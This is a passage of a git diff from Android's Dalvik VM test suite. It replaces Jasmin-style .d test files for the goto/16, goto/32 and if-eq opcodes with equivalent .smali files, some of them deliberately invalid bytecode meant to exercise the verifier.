+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/goto_16/d/T_goto_16_4;
+.super Ljava/lang/Object;
+.source "T_goto_16_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    goto/16 :goto_2
+
+    :goto_2
+    return p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_1.d
deleted file mode 100644
index fd5335a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_1.d
+++ /dev/null
@@ -1,44 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_goto_32_1.java
-.class public dot.junit.opcodes.goto_32.d.T_goto_32_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-; test positive offset
-      goto/32 Label2
-LabelReturn:      
-      return v4
-      
-Label2:
-       add-int/lit8 v4, v4, -1
-       if-lez v4, LabelExit
-; test negative offset       
-       goto/32 Label2
-       
-LabelExit:       
-       goto LabelReturn
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_1.smali
new file mode 100644
index 0000000..066b330
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_1.smali
@@ -0,0 +1,50 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/goto_32/d/T_goto_32_1;
+.super Ljava/lang/Object;
+.source "T_goto_32_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+# test positive offset
+    goto/32 :goto_4
+
+    :goto_3
+    return p1
+
+    :goto_4
+    add-int/lit8 p1, p1, -0x1
+
+    if-lez p1, :cond_b
+
+# test negative offset
+    goto/32 :goto_4
+
+    :cond_b
+    goto :goto_3
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_2.d
deleted file mode 100644
index 1a76901..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_goto_32_2.java
-.class public dot.junit.opcodes.goto_32.d.T_goto_32_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-      goto/32 Label2
-Label2:
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_2.smali
new file mode 100644
index 0000000..3a328dd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_2.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/goto_32/d/T_goto_32_2;
+.super Ljava/lang/Object;
+.source "T_goto_32_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    goto/32 :goto_3
+
+    :goto_3
+    return p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_3.d
deleted file mode 100644
index 6130ae8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_goto_32_3.java
-.class public dot.junit.opcodes.goto_32.d.T_goto_32_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-      goto/32 Label2
-Label2:
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_3.smali
new file mode 100644
index 0000000..82ce541
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_3.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/goto_32/d/T_goto_32_3;
+.super Ljava/lang/Object;
+.source "T_goto_32_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    goto/32 :goto_3
+
+    :goto_3
+    return p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_4.d
deleted file mode 100644
index 624dfaf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_goto_32_4.java
-.class public dot.junit.opcodes.goto_32.d.T_goto_32_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-Label1:
-      goto/32 Label1
-      return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_4.smali
new file mode 100644
index 0000000..a6c51cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_32/d/T_goto_32_4.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/goto_32/d/T_goto_32_4;
+.super Ljava/lang/Object;
+.source "T_goto_32_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    :goto_0
+    goto/32 :goto_0
+
+    return p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_1.d
deleted file mode 100644
index b9e4603..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_1.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_eq_1.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-eq v6, v7, Label11
-       const/16 v6, 1234
-Label10:
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       goto Label10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_1.smali
new file mode 100644
index 0000000..5779d22
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_1.smali
@@ -0,0 +1,24 @@
+.source "T_if_eq_1.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-eq v6, v7, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_10.d
deleted file mode 100644
index a7f0474..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_10.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_eq_10.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-eq v6, v7, Label10
-       const/4 v6, 0
-       return v6
-
-Label10:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_10.smali
new file mode 100644
index 0000000..6515117
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_10.smali
@@ -0,0 +1,23 @@
+.source "T_if_eq_10.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-eq v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_11.d
deleted file mode 100644
index f266a25..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_11.d
+++ /dev/null
@@ -1,26 +0,0 @@
-.source T_if_eq_11.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;Ljava/lang/String;)V
-.limit regs 8
-
-       if-eq v6, v7, Label10
-       const/4 v6, 0
-       return-void
-
-Label10:
-       const v6, 1
-       nop
-       nop
-       const/4 v6, 1
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_11.smali
new file mode 100644
index 0000000..9c3a0e0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_11.smali
@@ -0,0 +1,26 @@
+.source "T_if_eq_11.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;Ljava/lang/String;)V
+.registers 8
+
+       if-eq v6, v7, :Label10
+       const/4 v6, 0
+       return-void
+
+:Label10
+       const v6, 1
+       nop
+       nop
+       const/4 v6, 1
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_12.d
deleted file mode 100644
index 9f0d34f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_12.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_eq_12.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-eq v6, v7, Label11
-       const/16 v6, 1234
-Label10:
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       goto Label10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_12.smali
new file mode 100644
index 0000000..656cf8c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_12.smali
@@ -0,0 +1,24 @@
+.source "T_if_eq_12.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-eq v6, v7, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_2.d
deleted file mode 100644
index 239ef80..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_2.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_eq_2.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;Ljava/lang/String;)I
-.limit regs 8
-
-       if-eq v6, v7, Label11
-       const/16 v6, 1234
-Label10:
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       goto Label10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_2.smali
new file mode 100644
index 0000000..fa7998a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_2.smali
@@ -0,0 +1,24 @@
+.source "T_if_eq_2.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;Ljava/lang/String;)I
+.registers 8
+
+       if-eq v6, v7, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_3.d
deleted file mode 100644
index 8cc6f7e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_3.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_eq_3.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 8
-
-       if-eq v6, v7, Label11
-       const/16 v6, 1234
-Label10:
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       goto Label10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_3.smali
new file mode 100644
index 0000000..11f4aa7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_3.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_eq_3.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       if-eq v6, v7, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_4.d
deleted file mode 100644
index 614b6b6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_4.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_eq_4.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)I
-.limit regs 8
-
-       if-eq v6, v7, Label11
-       const/16 v6, 1234
-Label10:
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       goto Label10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_4.smali
new file mode 100644
index 0000000..cb6e704
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_4.smali
@@ -0,0 +1,24 @@
+.source "T_if_eq_4.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       if-eq v6, v7, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_5.d
deleted file mode 100644
index 94dd327..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_5.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_eq_5.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-eq v6, v8, Label11
-       const/16 v6, 1234
-Label10:
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       goto Label10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_5.smali
new file mode 100644
index 0000000..7ecfecb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_5.smali
@@ -0,0 +1,24 @@
+.source "T_if_eq_5.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-eq v6, v8, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_6.d
deleted file mode 100644
index 29f910b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_6.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_eq_6.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;Ljava/lang/String;)I
-.limit regs 8
-
-       if-eq v6, v8, Label11
-       const/16 v6, 1234
-Label10:
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       goto Label10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_6.smali
new file mode 100644
index 0000000..b5f372f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_6.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_eq_6.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;Ljava/lang/String;)I
+.registers 8
+
+       if-eq v6, v8, :Label11
+       const/16 v6, 1234
+:Label10
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       goto :Label10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_7.d
deleted file mode 100644
index ded22b3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_7.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_eq_7.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(ID)I
-.limit regs 8
-
-       if-eq v5, v6, Label11
-       const/16 v5, 1234
-Label10:
-       return v5
-       
-Label11:
-       const/4 v5, 1
-       goto Label10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_7.smali
new file mode 100644
index 0000000..a99364c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_7.smali
@@ -0,0 +1,24 @@
+.source "T_if_eq_7.java"
+.class  public Ldot/junit/opcodes/if_eq/d/T_if_eq_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       if-eq v5, v6, :Label11
+       const/16 v5, 1234
+:Label10
+       return v5
+       
+:Label11
+       const/4 v5, 1
+       goto :Label10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_8.d
deleted file mode 100644
index 8e67f2d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_eq/d/T_if_eq_8.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_eq_8.java
-.class public dot.junit.opcodes.if_eq.d.T_if_eq_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
